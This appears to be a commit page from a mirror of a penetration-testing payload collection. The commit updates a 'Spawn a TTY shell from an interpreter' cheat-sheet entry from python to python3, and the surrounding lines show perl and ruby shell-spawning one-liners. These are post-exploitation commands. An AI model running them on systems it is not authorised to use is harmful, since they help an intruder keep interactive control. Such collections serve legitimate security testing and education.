mirror of
https://github.com/swisskyrepo/PayloadsAllTheThings.git
synced 2024-12-25 05:45:27 +00:00
Update TTY shell command for python
Made the command to use python3 because mostly now the machines have python3 installed.
This commit is contained in:
parent
7ab6750655
commit
8dc1e3c5fe
@ -343,7 +343,7 @@ Spawn a TTY shell from an interpreter
|
|||||||
|
|
||||||
```powershell
|
```powershell
|
||||||
/bin/sh -i
|
/bin/sh -i
|
||||||
python -c 'import pty; pty.spawn("/bin/sh")'
|
python3 -c 'import pty; pty.spawn("/bin/sh")'
|
||||||
perl -e 'exec "/bin/sh";'
|
perl -e 'exec "/bin/sh";'
|
||||||
perl: exec "/bin/sh";
|
perl: exec "/bin/sh";
|
||||||
ruby: exec "/bin/sh"
|
ruby: exec "/bin/sh"
|
||||||
|
Loading…
Reference in New Issue
Block a user